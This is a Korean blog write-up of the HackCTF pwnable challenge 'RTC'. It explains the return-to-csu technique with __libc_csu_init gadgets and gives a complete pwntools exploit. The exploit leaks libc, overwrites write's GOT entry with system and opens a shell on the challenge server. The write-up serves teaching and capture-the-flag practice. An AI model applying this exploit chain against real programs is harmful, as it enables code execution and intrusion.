728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는

https://ctf.j0n9hyun.xyz/입니다.

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

RTC 문제입니다.


간단하게 알아보는 RTC 기법 개념

 

해당 문제는 문제 이름처럼 RTC기법을 사용해야 풀 수 있습니다.

 

일반적으로, ROP 기법을 사용해서 문제를 많이 푸는데,

ROP 기법을 사용하려면 적당한 gadget이 필요합니다.

 

그런데, 적당한 gadget을 찾을 수 없는 경우가 존재합니다.

이 때, 사용할 수 있는 것이 __libc_csu_init 함수입니다.

 

해당 함수의 어셈블리 코드를 보면 다음과 같습니다.

(필요한 부분만 캡쳐했습니다)

 __libc_csu_init 함수 어셈 코드

[파란 박스]

 

우선, 파란 박스를 보시면, pop pop pop~~ 해서 순서대로 레지스터에 값이 들어갑니다.

이후에는 ret이 있습니다.

 

 

[빨간 박스]

그리고 값이 담긴 레지스터들이 빨간 박스에서는

rdx, rsi, edi로 옮겨가고 함수를 콜합니다.

즉,

r13 값 -> rdx

r14 값 -> rsi

r15 값 -> edi

r12 + rbx*8 위치에 있는 주소를 참조해서 함수를 콜합니다.

 

함수 콜 이후에는 rbx에 0x1 값을 더하고,

rbx와 rbp 값을 비교해서 같으면 다시 파란박스로 점프합니다.

 

 

만약, 파란 박스에서 적절한 인자들을 레지스터 넣고 ret에서 빨간 박스 시작 주소를 넣어주면

원하는 함수를 실행시킬 수 있게 되는 겁니다.

 

더 자세한 설명은 다음 사이트에서 공부하실 수 있습니다.

https://www.lazenca.net/display/TEC/01.Return-to-csu+%28feat.JIT+ROP%29+-+x64

 

01.Return-to-csu (feat.JIT ROP) - x64 - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List return-to-csu (feat.JIT ROP) return-to-csu는 __libc_csu_init() 함수의 일부 코드를 Gadget으로 이용하는 기술 입니다.__libc_csu_init() 함수는 프로그램 실행시 _init()

www.lazenca.net


문제 풀이

자 그럼 이 개념을 활용해서 문제 풀이에 들어가 봅시다.

 

문제 페이지

접속 주소와 zip 파일이 주어집니다.

문제 이름을 통해서 RTC 기법을 사용해야 하는 것을 유추할 수 있습니다.

 

zip에는 libc.so.6 파일과 실행파일이 담겨있습니다.

보호 기법을 확인해보니

보호기법

역시나 NX가 걸려있습니다.

 

IDA Pro로 열어봅시다.

 

main 코드

main 코드는 상당히 간단합니다. write 함수로 문장을 출력하고 read 함수로 입력 받으면서 종료합니다.

이 때, buf의 사이즈 0x40 보다 0x200으로 더 많은 값을 받을 수 있어서 BOF가 발생합니다.

 

그래서, 일반적인 ROP를 우선적으로 시도해보려고 했습니다.

write, read를 위한 gadget을 찾아보았지만 적당한 것이 없습니다.

Gadget 찾기

 

역시 문제 이름처럼 RTC 기법을 사용해서 풀어야합니다.

RTC 기법을 사용한다고 해도 결국에는 system 함수에 인자로 /bin/sh를 넣어주는 것이기 때문에

페이로드 작성 방법은 ROP 문제와 비슷합니다.


페이로드 간략 구상

우선, write 함수를 통해서 read 함수의 주소를 알아내고,

read 함수의 주소와 offset을 이용해 libc_base와 system의 실주소를 알 수 있게됩니다.

 

이어서, bss 영역 주소에 read 함수를 통해서 /bin/sh 을 작성하고,

read 함수를 통해서 write_got를 system 주소로 덮어줍니다.

 

마지막으로 write 함수를 실행시키면서 인자로 binsh 주소를 줍니다.

 

이 방식 ROP와 매우 똑같습니다.

다만, 여기서 사용하는 gadget이 pop ret이 아닌 __libc_csu_init 함수의 일부 코드일 뿐입니다.


 

 

__libc_csu_init 함수의 어셈코드를 살펴봅시다.

(objdump -M intel -d ./rtc 명령어로 확인해볼 수 있습니다.)

 

 __libc_csu_init 함수 어셈 코드

gadget으로 쓰일 시작 부분은 0x4006ba0x4006a0 임을 알 수 있습니다.

 

더불어, bss 영역의 주소는 0x601050로 IDA에서 알 수 있습니다.

 

이를 기반으로 페이로드를 작성하면 다음과 같습니다.

from pwn import*
#context.log_level = "debug"
p = remote("ctf.j0n9hyun.xyz", 3025)
e = ELF("./rtc")
libc = ELF("./libc.so.6")

write_got = e.got['write']
read_got = e.got['read']


read_offset = libc.symbols['read']
system_offset = libc.symbols['system']

libc_csu1 = 0x4006ba
libc_csu2 = 0x4006a0
binsh = 0x601050

# read 함수 실제 주소 leak --> 즉, system 함수 주소를 알기 위함
payload = "a"*64 + "b"*8
payload += p64(libc_csu1)
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(8)
payload += p64(read_got)
payload += p64(1)
payload += p64(libc_csu2)

# read 함수로 bss 영역에 8바이트 입력하게 하기 ---> 즉, 인자 "/bin/sh" 넣기 위함
payload += "a"*8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(8)
payload += p64(binsh)
payload += p64(0)
payload += p64(libc_csu2)

# write_got system 함수 주소로 덮기
payload += "a"*8
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(8)
payload += p64(write_got)
payload += p64(0)
payload += p64(libc_csu2)

# write 함수 실행 인자로 binsh 넘기기 --> 즉, system 함수 실행을 의미함
payload += "a"*8
payload += p64(0)
payload += p64(1)
payload += p64(write_got)
payload += p64(0)
payload += p64(0)
payload += p64(binsh)
payload += p64(libc_csu2)

p.recvline()
p.sendline(payload)
read_address = u64(p.recv(6).ljust(8, "\x00"))  # read 함수 주소 얻기
log.info('read_address: 0x%x' %read_address)

system_address = read_address - read_offset + system_offset  # system 함수 주소 계산
log.info('system_addres: 0x%x' %system_address)

p.sendline("/bin/sh")   # binsh에 "/bin/sh" 대입

p.sendline(p64(system_address))  # write_got system 주소로 overwrite

p.interactive()

페이로드 해설

페이로드는 길지만 이해하면 간단합니다.

libc_csu에서 레지스터 설정을 위해서 처음에 sfp까지 더미로 채우고

파란 박스0x4006ba로 이동합니다.

 

[레지스터 setting 단계]

파란 박스 0x4006ba로 이동합니다.

rbx는 0, rbp는 1을 넣고(chaining을 위함), 함수 got넣고,

인자 역순으로 세 개 넣습니다.

 

함수 실행 단계

빨간 박스0x4006a0로 이동합니다.

 

위의 기본적인 구조를 계속해서 반복하여 함수를 연속해서 4번 호출합니다.

 

해당 페이로드를 실행시키면 다음과 같이 플래그를 얻을 수 있습니다.

 

플래그 획득

 

728x90